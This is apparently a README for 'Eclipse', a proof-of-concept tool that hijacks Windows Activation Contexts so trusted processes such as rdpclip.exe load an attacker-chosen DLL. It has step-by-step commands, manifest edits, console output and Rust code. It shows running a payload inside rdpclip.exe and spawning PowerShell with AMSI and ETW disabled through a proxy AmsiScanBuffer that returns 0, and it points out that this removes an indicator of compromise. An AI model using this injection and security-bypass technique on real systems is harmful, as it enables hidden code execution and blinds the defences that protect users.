激活上下文劫持
Eclipse is a PoC that performs Activation Context hijack to load and run an arbitrary DLL in any desired process. Initially, this technique was created as a more flexible alternative to DLL Sideloading + DLL proxying that can be leveraged to inject arbitrary code in a trusted process, altought it has proven to have other applications.
C:\Eclipse\eclipse\target\release>eclipse.exe -h
Usage: eclipse.exe -m spawn|hijack -b C:\Windows\System32\rdpclip.exe -r 3 [options]
Options:
-h, --help Print this help menu.
-m, --mode Hijack the Activation Context of a new (spawn) or an
already running (hijack) process.
-b, --binary Absolute path to the executable used to spawn the new
process.
-f, --manifest-file
Path to the manifest file from which the new
Activation Context is created.
-r, --resource-number
Resource index of the current executable where the
manifest is located.
-p, --pid PID of the process whose Activation Context is to be
hijacked.
-n, --new-console Set CREATE_NEW_CONSOLE flag to spawn the new process.
-d, --debug Enable SeDebugPrivilege to interact with the remote
process.By definition, Activation Contexts are "data structures in memory containing information that the system can use to redirect an application to load a particular DLL version" and also can be used to determine the path from where a specific DLL has to be loaded. An Activation Context is created by parsing the contents of a manifest file. When a process is created, the OS parses the binary's manifest (which can be embbeded in the binary itself or as a independent file in the same directory) and it maps in the memory of the newly spawned process what I call the main Activation Context. This main AC will be used to find the right file each time a DLL has to be loaded (regardless of whether this loading is due to dependencies in the IAT of a module or as a call to Loadlibray).
Additionally, a thread can create and activate a custom AC at runtime. In that particular scenario, if that specific thread tries to load a DLL the thread's custom AC will be used first and, just in case that AC doesn't contain information regarding the DLL to be loaded, then the main AC of the process will be consulted.
The memory address of the main AC of a process is obtained from the PEB, while custom AC activated by a thread are obtained from an AC stack located in the TEB. This means one thread can create and activate multiple custom AC which will be pushed on this AC stack, and only the last activated AC (the one on top of the stack) will be used to determine the path of a DLL to be loaded.
With this information in mind, Eclipse offers two modes of use:
Regardless you are spawning a new process or hijacking an already running process, Eclipse needs a manifest file from which it will create the malicious AC. Some examples can be found in the manifests folder of this repository, although you can also obtain the manifest file embedded in any binary and modify it at will. To obtain the manifest file of a binary, I use the Microsot Manifest Tool. The following command extracts the manifest file of a executable and saves it in the specified location:
C:\Temp> mt.exe -inputresource:"C:\Windows\System32\cmd.exe";#1 -out:"C:\Temp\cmd.exe.manifest"Once the manifest file has been modified, just compile Eclipse in release mode and the tool will be ready to use:
C:\Path\To\Eclipse\eclipse> cargo build --releaseIn case you want to embed the modified manifest file in the resulting Eclipse executable, you can use MT once again (I recommend to avoid using resource ID 1):
C:\Temp> mt.exe -manifest "C:\Temp\cmd.exe.manifest" -outputresource:"C:\Path\To\Eclipse\eclipse\target\release\eclipse.exe";#4 generator.exe -m trace -p C:\Windows\System32\crypt32.dll -l C:\Temp\logfile.txt
C:\Path\To\ADPT\ExportTracer> cargo build --releaseThe idea is that once the main AC of rdpclip.exe is hijacked by Eclipse, the recently compiled exporttracer.dll will be loaded instead of crypt32.dll. For this, we need a custom manifest file from which Eclipse will create the malicious AC that will redirect the application to load our DLL. To craft the manifest file, we can use MT to extract the original manifest file of rdpclip.exe and then modify it at will:
C:\Temp> mt.exe -inputresource:"C:\Windows\System32\rdpclip.exe";#1 -out:"C:\Temp\rdpclip.exe.manifest"Then add the following `` element to the contents of the extracted manifest file, pointing the loadFrom field to your exporttracer.dll DLL:
RDP Clipboard Monitor
true
true/PM
The last and optional step is to embed the modified manifest file as a resource of eclipse.exe. To do so, compile Eclipse on release mode and then use MT once again to embed the manifest file as the resource ID 4 (any other ID would work):
C:\Path\To\Eclipse\eclipse> cargo build --release
C:\Path\To\Eclipse\eclipse> mt.exe -manifest "C:\Temp\rdpclip.exe.manifest" -outputresource:"C:\Path\To\Eclipse\eclipse\target\release\eclipse.exe";4Finally, run the tool:
C:\Path\To\Eclipse\eclipse\target\release> eclipse.exe -m spawn -b C:\Windows\System32\rdpclip.exe -r 4
[+] Local Activation Context created.
[+] New process spawned in suspended mode.
[+] Remote process PEB base address obtained.
[+] Memory successfully allocated in the new process.
[+] Activation Context mapped in the remote process.
[+] PEB successfully patched.
[-] Resuming process...Inspecting the newly spawned rdpclip.exe process with Process Hacker will reveal that the application has been redirected into loading exporttracer.dll instead of crypt32.dll. The ExportTracer DLL acts as a proxy, meaning it loads the legitimate crypt32.dll to forward to it all the received calls, but it will also register in C:\Temp\logfile.txt all the functions from crypt32.dll that have been called during the execution of the process:
Now, we just need to use ADPT once again to create a proxy dll that runs our desired payload in one of the functions present in the log file generated by the ExportTracer DLL. In this case, I select the first one, I_CryptCreateLruCache:
C:\Path\To\ADPT\Generator\target\release> generator.exe -m proxy -p C:\Windows\System32\crypt32.dll -e I_CryptCreateLruCache
C:\Path\To\ADPT\ProxyDll> cargo build --releaseChange the loadFrom field of the C:\Temp\rdpclip.exe.manifest file to point to the generated proxydll.dll and embed the manifest in eclipse.exe as before. Kill the previously spawned rdpclip.exe process (only one rdpclip.exe can be running per user session) and run Eclipse once again. The ProxyDll will be loaded and the payload inserted in the I_CryptCreateLruCache function will be executed inside rdpclip.exe (in this case, just an infinite loop in a new thread):
Note that unlike when performing a regular DLL proxying, with this technique the proxy DLL does not need to have the same name as the DLL to which the calls are being forwarded, removing that specific IoC.
Since the hijacking of the main AC of a new process allows us to redirect the loading of any DLL, this technique can be used to modify the behaviour of that process. As a example, let's see how to use Eclipse to spawn a powershell.exe process with ETW (usermode) and AMSI disabled. To do so, we just need to redirect the loading of the DLLs responsible for those features: amsi.dll and advapi32.dll. First, let's create with ADPT the proxy DLL that will intercept the calls to amsi.dll:
C:\Path\To\ADPT\Generator\target\release> generator.exe -m proxy -p C:\Windows\System32\amsi.dll -e AmsiScanBufferIn the generated template (ProxyDll project), modify the function AmsiScanBuffer so it just returns 0 (classic amsi bypass):
#[no_mangle]
fn AmsiScanBuffer(arg1:u64, arg2:u64, arg3:u64, arg4:u64, arg5:u64, arg6:u64, arg7:u64, arg8:u64, arg9:u64, arg10:u64, arg11:u64, arg12:u64, arg13:u64, arg14:u64, arg15:u64, arg16:u64, arg17:u64, arg18:u64, arg19:u64, arg20:u64) -> u64
{
0
}After that compile the ProxyDll project on release mode. Then, we do the same to create the DLL that will intercept the calls to advapi32.dll:
C:\Path\To\ADPT\Generator\target\release> generator.exe -m proxy -p C:\Windows\System32\advapi32.dll -e EventWrite,EventWriteEx,EventWriteString,EventWriteTransferIn the generated template, modify the code of the specified functions (EventWrite, EventWriteEx, EventWriteString and EventWriteTransfer) so they just return the value 0x6 (which corresponds to the ERROR_INVALID_HANDLE flag):
…Once again, compile ProxyDll on release mode. Finally, let's craft the manifest file from which Eclipse will create the malicious AC:
PowerShell
true
Then, just run Eclipse (note the use of the -n flag to set CREATE_NEW_CONSOLE at the time of spawning the new process):
C:\Path\To\Eclipse\eclipse\target\release> eclipse.exe -m spawn -b C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -f C:\Path\To\powershell.manifest -n
[+] Local Activation Context created.
[+] New process spawned in suspended mode.
[+] Remote process PEB base address obtained.
[+] Memory successfully allocated in the new process.
[+] Activation Context mapped in the remote process.
[+] PEB successfully patched.
[-] Resuming process...The new powershell.exe process will have AMSI and ETW disabled. The first one can be checked by typing the string amsiutils, which normally would be detected as a malicious string but now it just shows a "not found" error message:
To check that ETW is disabled too, the .NET assemblies tab of PH can be checked. This tab opens an ETW session to get the required information, but since the CLR is unable to write the relevant ETW events due to our proxy DLL always returning `ERROR_INVALID
暂无开放 Issues,或尚未同步最近议题。